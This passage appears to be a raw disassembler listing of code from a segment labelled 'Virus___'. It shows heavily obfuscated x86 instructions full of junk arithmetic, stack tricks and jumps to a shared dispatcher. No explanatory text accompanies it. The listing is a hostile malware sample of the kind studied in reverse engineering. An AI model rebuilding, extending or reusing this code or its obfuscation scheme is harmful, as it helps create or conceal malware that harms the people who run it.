		neg	eax
		sub	eax, 2C1E46F2h
		sub	eax, 1A61BB38h
		add	edx, eax
		pop	eax
		jmp	loc_58C8EA
; ---------------------------------------------------------------------------


loc_58DA5E:				; CODE XREF: Virus___:00586E77j
		xor	al, bl
		mov	ebx, [esp]
		jmp	loc_58B01E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		jmp	loc_58F2EC
; ---------------------------------------------------------------------------


loc_58DA73:				; CODE XREF: Virus___:0058211Bj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		jmp	loc_58EC46
; ---------------------------------------------------------------------------


loc_58DA86:				; CODE XREF: Virus___:00593471j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58A3C6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		jmp	loc_58F67C
; ---------------------------------------------------------------------------


loc_58DA9C:				; CODE XREF: Virus___:00585954j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58E192
; ---------------------------------------------------------------------------


loc_58DAAA:				; CODE XREF: Virus___:005811BBj
		push	esi
		mov	esi, esp
		push	ecx
		push	eax
		mov	eax, 4
		push	3A49h
		mov	[esp], eax
		mov	ecx, [esp]
		jmp	loc_5901BF
; ---------------------------------------------------------------------------


loc_58DAC4:				; CODE XREF: Virus___:0058F7EBj
		mov	[esp], esi
		jmp	loc_585343
; ---------------------------------------------------------------------------


loc_58DACC:				; CODE XREF: Virus___:00593BE7j
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 19BA30B7h
		and	ebp, 764D17E7h
		jmp	loc_587911
; ---------------------------------------------------------------------------


loc_58DAE2:				; CODE XREF: Virus___:0059347Cj
		push	eax
		mov	eax, 41ED496Ah
		inc	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1201563h
		add	eax, ecx
		pop	ecx
		xor	eax, 430D5ECAh
		jmp	loc_57FE92
; ---------------------------------------------------------------------------


loc_58DB01:				; CODE XREF: Virus___:00587DCDj
		add	eax, 0FFFFFFFFh
		add	eax, 27F84FBEh
		and	esi, eax
		pop	eax
		add	esi, 0D5052B74h
		add	ecx, esi
		pop	esi
		add	ecx, esi
		push	ebp
		mov	ebp, 1853BB7h
		sub	ecx, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		push	7559h
		mov	[esp], ecx
		jmp	loc_58883C
; ---------------------------------------------------------------------------


loc_58DB35:				; CODE XREF: Virus___:00587655j
		push	ebp
		add	dword ptr [esp], 65F735EDh
		jmp	loc_581F6B
; ---------------------------------------------------------------------------


loc_58DB42:				; CODE XREF: Virus___:0058890Cj
		sub	esp, 4
		jmp	loc_586B6B
; ---------------------------------------------------------------------------


loc_58DB4A:				; CODE XREF: Virus___:0058F58Ej
		push	edx
		push	edi
		jmp	loc_57FCB1
; ---------------------------------------------------------------------------


loc_58DB51:				; CODE XREF: Virus___:00585085j
		push	edx
		mov	edx, 65A56C7h
		and	edx, 3FD044F1h
		and	edx, 0CA5634Bh
		xor	edx, 14206C92h
		dec	edx
		jmp	loc_58D3DC
; ---------------------------------------------------------------------------


loc_58DB6F:				; CODE XREF: Virus___:0059297Ej
		sub	esp, 4
		jmp	loc_58392E
; ---------------------------------------------------------------------------


loc_58DB7A:				; CODE XREF: Virus___:0058B34Fj
		mov	[esp], esi
		push	esp
		jmp	loc_58193D
; ---------------------------------------------------------------------------


loc_58DB83:				; CODE XREF: Virus___:0058FBBEj
		mov	edx, esp
		jmp	loc_58B073
; ---------------------------------------------------------------------------
		push	ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_5926A3
; ---------------------------------------------------------------------------


loc_58DB93:				; CODE XREF: Virus___:00589B4Aj
		sub	ebx, edi
		add	ebx, 17BA471Fh
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_589A55
; ---------------------------------------------------------------------------


loc_58DBAB:				; CODE XREF: Virus___:0058E7EAj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, 3D2C405Dh
		shl	ebp, 2
		sub	ebp, 77421416h
		and	ebp, 15836B02h
		shl	ebp, 1
		not	ebp
		add	ebp, 4B57DF45h
		xor	ecx, ebp
		pop	ebp
		jmp	loc_59412E
; ---------------------------------------------------------------------------


loc_58DBD9:				; CODE XREF: Virus___:005831D6j
		push	edx
		mov	edx, 7D245B48h
		add	edx, 6F233253h
		shl	edx, 3
		add	edx, 0DF2CDA07h
		xor	eax, edx
		pop	edx
		mov	ebp, eax
		pop	eax
		sub	ebx, 1697ABBh
		jmp	loc_589224
; ---------------------------------------------------------------------------


loc_58DBFF:				; CODE XREF: Virus___:0059003Ej
		mov	eax, esp
		add	eax, 4
		jmp	loc_58CC2F
; ---------------------------------------------------------------------------


loc_58DC0B:				; CODE XREF: Virus___:00582E95j
		sub	cl, 2Ah
		mov	bh, cl
		pop	ecx
		sub	esp, 4
		jmp	loc_58AE29
; ---------------------------------------------------------------------------


loc_58DC1C:				; CODE XREF: Virus___:0058F91Ej
		push	5F02h
		jmp	loc_58302B
; ---------------------------------------------------------------------------


loc_58DC26:				; CODE XREF: Virus___:0059332Aj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58D660
; ---------------------------------------------------------------------------


loc_58DC37:				; CODE XREF: Virus___:00581356j
		or	esi, 64C60817h
		not	esi
		jmp	loc_58D93A
; ---------------------------------------------------------------------------


loc_58DC44:				; CODE XREF: Virus___:0058F75Ej
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_581EAF
; ---------------------------------------------------------------------------


loc_58DC5A:				; CODE XREF: Virus___:00591A65j
		sub	edi, esi
		pop	esi
		add	edi, 1C461B93h
		pop	ecx
		jmp	loc_59399A
; ---------------------------------------------------------------------------


loc_58DC69:				; CODE XREF: Virus___:0057F91Cj
		add	esi, edi
		pop	edi
		pop	edx
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58DC89:				; CODE XREF: Virus___:0058A7DAj
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58DC95:				; CODE XREF: Virus___:00594106j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_58A1C8
; ---------------------------------------------------------------------------


loc_58DCB9:				; CODE XREF: Virus___:0058A765j
		sub	ebp, eax
		push	5E9h
		mov	[esp], edx
		mov	edx, 3D591A61h
		and	edx, 3729220Eh
		jmp	loc_58FA90
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	ebx
		jmp	loc_58F530
; ---------------------------------------------------------------------------


loc_58DCEB:				; CODE XREF: Virus___:0058A0EFj
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	4E7Eh
		mov	[esp], ebp
		jmp	loc_58F174
; ---------------------------------------------------------------------------
		lodsw
		xor	ax, bx
		sub	esp, 2
		mov	[esp], dx
		push	4C8Bh
		mov	[esp], esi
		mov	si, 7572h
		jmp	loc_58B081
; ---------------------------------------------------------------------------


loc_58DD24:				; CODE XREF: Virus___:00589E6Fj
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	eax, ebx
		push	esi
		push	79A5555Bh
		pop	esi
		add	esi, 6224D15h
		push	edx
		mov	edx, 73083525h
		not	edx
		not	edx
		xor	edx, 5AB71905h
		sub	esi, edx
		pop	edx
		jmp	loc_58F5CF
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58DD58:				; CODE XREF: Virus___:0058545Cj
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 21B80014h
		inc	esi
		jmp	loc_591C77
; ---------------------------------------------------------------------------


loc_58DD6D:				; CODE XREF: Virus___:005835A4j
		push	ecx
		mov	ecx, 742F54FEh
		add	ecx, 430AE197h
		xor	edi, ecx
		pop	ecx
		xor	ebp, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_586852
; ---------------------------------------------------------------------------


loc_58DD89:				; CODE XREF: Virus___:00592EEFj
		push	edi
		mov	edi, 27F24B9Dh
		add	esi, edi
		pop	edi
		add	esi, edx
		push	ebp
		mov	ebp, 279E3FD0h
		and	ebp, 8BF3DFAh
		add	ebp, 1585498Fh
		jmp	loc_5863ED
; ---------------------------------------------------------------------------


loc_58DDAB:				; CODE XREF: Virus___:005889ACj
		pop	ebx
		add	ebp, esi
		pop	esi
		push	1009h
		mov	[esp], edi
		mov	edi, 4
		sub	ebp, 7994422Bh
		sub	ebp, edi
		jmp	loc_58DF26
; ---------------------------------------------------------------------------


loc_58DDC9:				; CODE XREF: Virus___:0058E696j
		pop	eax
		jmp	loc_5932F8
; ---------------------------------------------------------------------------


loc_58DDCF:				; CODE XREF: Virus___:00588FA5j
		mov	eax, [esp]
		jmp	loc_594010
; ---------------------------------------------------------------------------


loc_58DDD7:				; CODE XREF: Virus___:005922B5j
		mov	ebx, 4
		sub	dword ptr [esp+4], 61B318ECh
		add	[esp+4], ebx
		add	dword ptr [esp+4], 61B318ECh
		mov	ebx, [esp]
		jmp	loc_58B02F
; ---------------------------------------------------------------------------


loc_58DDF8:				; CODE XREF: Virus___:0058996Cj
		not	edx
		shr	edx, 2
		not	edx
		jmp	loc_590DBB
; ---------------------------------------------------------------------------


loc_58DE04:				; CODE XREF: Virus___:00588A6Cj
		sub	[esp], ebp
		pop	ebp
		or	ebp, 3A2B2037h
		xor	ebp, 3CC0FEAh
		shr	ebp, 6
		add	ebp, 7E581587h
		sub	ebp, 0DDF04368h
		jmp	loc_5937F3
; ---------------------------------------------------------------------------


loc_58DE28:				; CODE XREF: Virus___:005904E9j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58DE2D:				; CODE XREF: Virus___:0058528Bj
		mov	ebx, 10456603h
		jmp	loc_59054D
; ---------------------------------------------------------------------------


loc_58DE37:				; CODE XREF: Virus___:0058D8F9j
		sub	ebx, 30EC795Ch
		add	ebx, edx
		add	ebx, 30EC795Ch
		pop	edx
		sub	ebx, 4
		jmp	loc_58C321
; ---------------------------------------------------------------------------


loc_58DE51:				; CODE XREF: Virus___:0058C31Cj
		add	esp, 4
		xor	ebx, 45AF5B4Ch
		mov	edi, [esp]
		push	ecx
		jmp	loc_588FE2
; ---------------------------------------------------------------------------


loc_58DE63:				; CODE XREF: Virus___:0058CA5Dj
		push	2065h
		mov	[esp], ebx
		mov	ebx, 253C26EAh
		push	67FFh
		mov	[esp], edx
		mov	edx, 40C70E0Fh
		add	edx, 1
		shl	edx, 1
		xor	edx, 0F22126A5h
		and	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, 41225F27h
		push	edx
		mov	edx, 1DC32D36h
		xor	edx, 27077D42h
		jmp	loc_5809BC
; ---------------------------------------------------------------------------


loc_58DEAA:				; CODE XREF: Virus___:00586679j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_593143
; ---------------------------------------------------------------------------


loc_58DEB2:				; CODE XREF: Virus___:00592656j
		add	esp, 4
		push	edi
		mov	edi, 2
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_58CF6F
; ---------------------------------------------------------------------------


loc_58DEC6:				; CODE XREF: Virus___:0058AF89j
		mov	edi, ebp
		jmp	loc_589342
; ---------------------------------------------------------------------------


loc_58DECD:				; CODE XREF: Virus___:00588F12j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	0B36h
		mov	[esp], eax
		jmp	loc_58A7A2
; ---------------------------------------------------------------------------


loc_58DEE4:				; CODE XREF: Virus___:00584C70j
		inc	edi
		or	edi, 1C8F5140h
		xor	edi, 695A282Dh
		push	ebx
		mov	ebx, 5E20451h
		neg	ebx
		jmp	loc_590F0E
; ---------------------------------------------------------------------------


loc_58DEFE:				; CODE XREF: Virus___:00585898j
		push	ecx
		push	34764110h
		pop	ecx
		neg	ecx
		push	ebp
		mov	ebp, 71B19296h
		add	ecx, 109B075Fh
		add	ecx, ebp
		jmp	loc_58E706
; ---------------------------------------------------------------------------


loc_58DF1A:				; CODE XREF: Virus___:00581652j
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5911EB
; ---------------------------------------------------------------------------


loc_58DF26:				; CODE XREF: Virus___:0058DDC4j
		push	esi
		mov	esi, 73071F7Bh
		jmp	loc_58081C
; ---------------------------------------------------------------------------


loc_58DF31:				; CODE XREF: Virus___:00586C46j
		mov	eax, 27A97422h
		inc	eax
		add	eax, 60872039h
		neg	eax
		shr	eax, 3
		sub	eax, 0B7879B5h
		sub	eax, 0B1E2F9EEh
		xchg	eax, ecx
		jmp	loc_5814B1
; ---------------------------------------------------------------------------


loc_58DF51:				; CODE XREF: Virus___:005882E6j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		movzx	ecx, al
		push	edx
		jmp	loc_582365
; ---------------------------------------------------------------------------


loc_58DF64:				; CODE XREF: Virus___:00585652j
		mov	bx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_585401
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58EC39
; ---------------------------------------------------------------------------


loc_58DF79:				; CODE XREF: Virus___:00588C04j
		mov	edi, 1D2593Ch
		push	ecx
		mov	ecx, 48072953h
		and	edi, ecx
		pop	ecx
		sub	edi, 2090Ch
		jmp	loc_588F38
; ---------------------------------------------------------------------------


loc_58DF92:				; CODE XREF: Virus___:005944AEj
		mov	edi, 31675D17h
		sub	edi, 0DC86545h
		push	ecx
		push	edi
		jmp	loc_58EAA0
; ---------------------------------------------------------------------------


loc_58DFA4:				; CODE XREF: Virus___:0058C96Aj
		mov	esi, 4C7A2D0Bh
		push	esi
		dec	dword ptr [esp]
		pop	esi
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		sub	esi, 49577399h
		sub	esi, 0C9D3E55h
		push	eax
		push	edi
		jmp	loc_586AA8
; ---------------------------------------------------------------------------


loc_58DFC7:				; CODE XREF: Virus___:0057F74Dj
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_58720D
; ---------------------------------------------------------------------------


loc_58DFD2:				; CODE XREF: Virus___:0058E647j
		add	eax, 4
		add	eax, 4
		jmp	loc_58A9D8
; ---------------------------------------------------------------------------


loc_58DFE1:				; CODE XREF: Virus___:0058E767j
		mov	eax, 0A356C176h
		add	ebp, eax
		pop	eax
		jmp	loc_581BB1
; ---------------------------------------------------------------------------


loc_58DFEE:				; CODE XREF: Virus___:0058C4FFj
		mov	ebp, 7C60BC2h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4E8C0EFEh
		add	eax, ebp
		push	ebp
		mov	ebp, 7B4D3C11h
		or	ebp, 798B4956h
		inc	ebp
		shr	ebp, 5
		not	ebp
		push	eax
		jmp	loc_591CDA
; ---------------------------------------------------------------------------


loc_58E01D:				; CODE XREF: Virus___:0058F537j
		pop	ebx
		push	2950h
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	0D80h
		mov	[esp], esi
		push	esp
		jmp	loc_588338
; ---------------------------------------------------------------------------


loc_58E047:				; CODE XREF: Virus___:005889E4j
		dec	ebp
		xor	ebp, 3AE76F76h
		sub	ebp, 0FFFFFFFFh
		push	ebx
		mov	ebx, 16B63661h
		inc	ebx
		xor	ebx, 2EC9652h
		add	ebp, ebx
		pop	ebx
		mov	edx, ebp
		pop	ebp
		jmp	loc_591F68
; ---------------------------------------------------------------------------


loc_58E06C:				; CODE XREF: Virus___:00582208j
		add	esp, 4
		mov	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		add	ecx, 469F7879h
		add	ecx, eax
		sub	ecx, 469F7879h
		pop	eax
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_590A4B
; ---------------------------------------------------------------------------


loc_58E092:				; CODE XREF: Virus___:00587054j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 486F7488h
		sub	ebx, 84D5852h
		add	ebx, edi
		add	ebx, 84D5852h
		pop	edi
		push	3A34h
		jmp	loc_58D8FE
; ---------------------------------------------------------------------------


loc_58E0B7:				; CODE XREF: Virus___:00591054j
		push	ebx
		push	edx
		jmp	loc_585D7E
; ---------------------------------------------------------------------------


loc_58E0BE:				; CODE XREF: Virus___:005825DFj
		shl	ebp, 3
		jmp	loc_581F13
; ---------------------------------------------------------------------------


loc_58E0C6:				; CODE XREF: Virus___:0057F4BAj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_580703
; ---------------------------------------------------------------------------
		dw 6C68h
		dd 0E9000038h, 0FFFFF936h
; ---------------------------------------------------------------------------


loc_58E0E0:				; CODE XREF: Virus___:00591D16j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58B8C5
; ---------------------------------------------------------------------------


loc_58E0F6:				; CODE XREF: Virus___:005818C0j
		pop	esp
		mov	ebp, ecx
		pop	ecx
		and	[edi+1Ch], ebp
		jmp	loc_58CF7A
; ---------------------------------------------------------------------------


loc_58E102:				; CODE XREF: Virus___:00594060j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58413F
; ---------------------------------------------------------------------------


loc_58E114:				; CODE XREF: Virus___:005936E1j
		mov	[esp], ebx
		jmp	loc_584E6D
; ---------------------------------------------------------------------------


loc_58E11C:				; CODE XREF: Virus___:005822E2j
		mov	eax, 7A981FECh
		add	ebx, 5530256h
		sub	ebx, eax
		sub	ebx, 5530256h
		mov	eax, [esp]
		jmp	loc_5818C5
; ---------------------------------------------------------------------------


loc_58E137:				; CODE XREF: Virus___:0058A0F9j
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5854E8
; ---------------------------------------------------------------------------


loc_58E144:				; CODE XREF: Virus___:00580A82j
		sub	[esp+4], eax
		pop	eax
		pop	edx
		add	edx, 20430D45h
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_59045C
; ---------------------------------------------------------------------------


loc_58E15E:				; CODE XREF: Virus___:00584CB9j
		push	ecx
		mov	ecx, 5CC12E80h
		shr	ecx, 6
		inc	ecx
		dec	ecx
		xor	ecx, 17304BEh
		add	ebp, ecx
		pop	ecx
		add	ebp, 2
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_57FC7D
; ---------------------------------------------------------------------------


loc_58E180:				; CODE XREF: Virus___:00593B5Bj
		pop	ebp
		sub	ebp, 1EF44029h
		jmp	loc_5900DB
; ---------------------------------------------------------------------------


loc_58E18C:				; CODE XREF: Virus___:005823CDj
		pop	ecx
		jmp	loc_5809A9
; ---------------------------------------------------------------------------


loc_58E192:				; CODE XREF: Virus___:0058DAA5j
		push	ebx
		jmp	loc_580437
; ---------------------------------------------------------------------------


loc_58E198:				; CODE XREF: Virus___:0058994Cj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58B29B
; ---------------------------------------------------------------------------


loc_58E1A6:				; CODE XREF: Virus___:005935ABj
		xor	edi, [esp]
		mov	esp, [esp]
		add	ebx, 4
		push	2BF4h
		mov	[esp], edx
		mov	edx, 26084DBDh
		jmp	loc_593EDD
; ---------------------------------------------------------------------------


loc_58E1C4:				; CODE XREF: Virus___:0058C01Ej
		pop	ecx
		pop	ebp
		jmp	loc_580DAE
; ---------------------------------------------------------------------------


loc_58E1CB:				; CODE XREF: Virus___:0058B713j
		push	edx
		not	dword ptr [esp]
		jmp	loc_583B95
; ---------------------------------------------------------------------------


loc_58E1D4:				; CODE XREF: Virus___:0058446Fj
		shl	ecx, 4
		shl	ecx, 3
		jmp	loc_58587B
; ---------------------------------------------------------------------------


loc_58E1DF:				; CODE XREF: Virus___:005922FCj
		sub	ebx, 0CDF52FC8h
		xor	edi, ebx
		jmp	loc_592546
; ---------------------------------------------------------------------------


loc_58E1EC:				; CODE XREF: Virus___:00592BA3j
		mov	edx, 301154ADh
		shl	edx, 2
		xor	edx, 0D9D6286Eh
		xor	edi, edx
		jmp	loc_57FAE3
; ---------------------------------------------------------------------------


loc_58E201:				; CODE XREF: Virus___:00589D89j
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_592CF2
; ---------------------------------------------------------------------------


loc_58E20C:				; CODE XREF: Virus___:005806E2j
		add	eax, ecx
		jmp	loc_5887AC
; ---------------------------------------------------------------------------


loc_58E213:				; CODE XREF: Virus___:0058FFF5j
		xor	[esp], ebp
		jmp	loc_58266F
; ---------------------------------------------------------------------------


loc_58E21B:				; CODE XREF: Virus___:00584E6Fj
		push	eax
		mov	ah, 99h
		mov	ch, 0A5h
		jmp	loc_58901A
; ---------------------------------------------------------------------------


loc_58E225:				; CODE XREF: Virus___:0058F022j
		pop	dword ptr [esp]
		jmp	loc_591788
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		jmp	loc_58E2A8
; ---------------------------------------------------------------------------


loc_58E235:				; CODE XREF: Virus___:00591D8Cj
		push	4B34h
		mov	[esp], ecx
		mov	ecx, 7C3549F2h
		push	esi
		mov	esi, 7C3549F1h
		add	ecx, 5895362Ah
		sub	ecx, 1BA0487Eh
		sub	ecx, esi
		add	ecx, 1BA0487Eh
		jmp	loc_588950
; ---------------------------------------------------------------------------


loc_58E261:				; CODE XREF: Virus___:00586A7Cj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	bl, 93h
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, 4Ah
		mov	dh, ah
		jmp	loc_58A871
; ---------------------------------------------------------------------------
		lodsd
		push	40FBh
		jmp	loc_59026F
; ---------------------------------------------------------------------------


loc_58E291:				; CODE XREF: Virus___:00588C69j
		mov	[esp], ecx
		mov	ecx, 35A87A4Ch
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, ebp
		jmp	loc_593814
; ---------------------------------------------------------------------------


loc_58E2A8:				; CODE XREF: Virus___:0058E230j
		mov	bl, 18h
		sub	al, 0F4h
		jmp	loc_5935B0
; ---------------------------------------------------------------------------


loc_58E2B1:				; CODE XREF: Virus___:00585DF4j
		push	edi
		push	eax
		push	578A4546h
		jmp	loc_591A23
; ---------------------------------------------------------------------------


loc_58E2BD:				; CODE XREF: Virus___:00586D16j
		add	eax, edi
		jmp	loc_5939D2
; ---------------------------------------------------------------------------


loc_58E2C4:				; CODE XREF: Virus___:0059453Dj
		add	esp, 4
		add	ebx, 5EF22D98h
		push	7E8Eh
		mov	[esp], ebp
		push	ecx
		mov	ecx, 4E754A64h
		dec	ecx
		inc	ecx
		neg	ecx
		not	ecx
		sub	ecx, 594D189Ch
		jmp	loc_5823D2
; ---------------------------------------------------------------------------


loc_58E2EC:				; CODE XREF: Virus___:0058022Dj
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_58E504
; ---------------------------------------------------------------------------


loc_58E2FD:				; CODE XREF: Virus___:00588F4Dj
		push	ecx
		mov	ecx, 48707B96h
		sub	eax, 3EDA43B3h
		sub	eax, ecx
		add	eax, 3EDA43B3h
		pop	ecx
		push	7DB3h
		jmp	loc_5889E9
; ---------------------------------------------------------------------------


loc_58E31A:				; CODE XREF: Virus___:0058FB87j
		mov	dl, 16h
		add	bl, dl
		pop	dx
		push	6B80h
		mov	[esp], eax
		push	edx
		mov	dh, 2Bh
		dec	dh
		sub	dh, 0C3h
		push	65C9h
		mov	[esp], ecx
		mov	ch, 0FEh
		shl	ch, 6
		sub	ch, 0BFh
		shr	ch, 1
		xor	ch, 26h
		add	dh, ch
		pop	ecx
		mov	al, dh
		pop	edx
		jmp	loc_5882BE
; ---------------------------------------------------------------------------


loc_58E350:				; CODE XREF: Virus___:0058A596j
		mov	ecx, esp
		jmp	loc_58F782
; ---------------------------------------------------------------------------


loc_58E357:				; CODE XREF: Virus___:0058F0F9j
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_584804
; ---------------------------------------------------------------------------


loc_58E360:				; CODE XREF: Virus___:00586C75j
		push	58CB1C77h
		pop	ebx
		jmp	loc_591508
; ---------------------------------------------------------------------------


loc_58E36B:				; CODE XREF: Virus___:0058E7DAj
		shl	ebx, 1
		jmp	loc_58EE42
; ---------------------------------------------------------------------------


loc_58E372:				; CODE XREF: Virus___:0058AE53j
		mov	ebp, [esp]
		jmp	loc_5909CE
; ---------------------------------------------------------------------------


loc_58E37A:				; CODE XREF: Virus___:00591247j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58E37F:				; CODE XREF: Virus___:00592482j
		mov	edi, [esp]
		add	esp, 4
		neg	eax
		jmp	loc_5892F5
; ---------------------------------------------------------------------------


loc_58E38F:				; CODE XREF: Virus___:005827C3j
		mov	cx, [esp]
		push	57DAh
		jmp	loc_590B64
; ---------------------------------------------------------------------------


loc_58E39D:				; CODE XREF: Virus___:00584357j
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		sub	ebx, 65BC3CBFh
		push	ecx
		mov	ecx, 1F53F4Fh
		add	ebx, ecx
		jmp	loc_590645
; ---------------------------------------------------------------------------


loc_58E3B5:				; CODE XREF: Virus___:0058FBE1j
		mov	[esp], esi
		mov	esi, 19950B83h
		xor	esi, 17436D8Dh
		push	edx
		mov	edx, 7F526F89h
		or	esi, edx
		pop	edx
		and	esi, 69094D38h
		jmp	loc_58B256
; ---------------------------------------------------------------------------


loc_58E3D7:				; CODE XREF: Virus___:005930B1j
		sub	ebx, 8DD0314h
		pop	eax
		jmp	loc_5913B8
; ---------------------------------------------------------------------------


loc_58E3E3:				; CODE XREF: Virus___:00593976j
		mov	[esp], esi
		mov	esi, 665D3054h
		mov	edx, esi
		pop	esi
		jmp	loc_589B9A
; ---------------------------------------------------------------------------


loc_58E3F3:				; CODE XREF: Virus___:00584A17j
		mov	[esp], esi
		mov	esi, 0D8E42C1h
		and	edi, esi
		mov	esi, [esp]
		jmp	loc_5922CE
; ---------------------------------------------------------------------------


loc_58E405:				; CODE XREF: Virus___:0058AC3Cj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_581757
; ---------------------------------------------------------------------------


loc_58E410:				; CODE XREF: Virus___:00588775j
		pop	edi
		pop	eax
		xor	edx, [esp]
		jmp	loc_59327E
; ---------------------------------------------------------------------------


loc_58E41A:				; CODE XREF: Virus___:0058FAEDj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_590D6E
; ---------------------------------------------------------------------------


loc_58E428:				; CODE XREF: Virus___:00591313j
		mov	edx, esi
		pop	esi
		jmp	loc_584506
; ---------------------------------------------------------------------------


loc_58E430:				; CODE XREF: Virus___:0058BC4Bj
		xor	ah, 4Ah
		add	ch, ah
		pop	eax
		add	ch, 59h
		add	bl, ch
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58E447:				; CODE XREF: Virus___:0058D86Dj
		push	ecx
		jmp	loc_590F15
; ---------------------------------------------------------------------------


loc_58E44D:				; CODE XREF: Virus___:0059210Cj
		push	ebp
		jmp	loc_58CC25
; ---------------------------------------------------------------------------


loc_58E453:				; CODE XREF: Virus___:0058A5F1j
		mov	[esp], ebp
		jmp	loc_583AEF
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		push	200h
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58CCF5
; ---------------------------------------------------------------------------


loc_58E4A7:				; CODE XREF: Virus___:00588539j
		add	esp, 4
		add	eax, 4FD55C28h
		jmp	loc_5826E1
; ---------------------------------------------------------------------------


loc_58E4B7:				; CODE XREF: Virus___:0057F72Bj
		sub	dword ptr [esp+4], 7B9A0F33h
		add	[esp+4], eax
		add	dword ptr [esp+4], 7B9A0F33h
		pop	eax
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_580299
; ---------------------------------------------------------------------------


loc_58E4E7:				; CODE XREF: Virus___:00592C04j
		sub	edx, 4A27154Ah
		shr	edx, 7
		add	edx, 0FFA02E5Dh
		add	esi, edx
		pop	edx
		push	ebp
		mov	ebp, 4
		jmp	loc_584D00
; ---------------------------------------------------------------------------


loc_58E504:				; CODE XREF: Virus___:0058E2F8j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	3255h
		mov	[esp], esi
		jmp	loc_586909
; ---------------------------------------------------------------------------


loc_58E51B:				; CODE XREF: Virus___:00581160j
		pop	edi
		add	edx, ebx
		add	edx, 5BD86D76h
		pop	ebx
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_585B9C
; ---------------------------------------------------------------------------


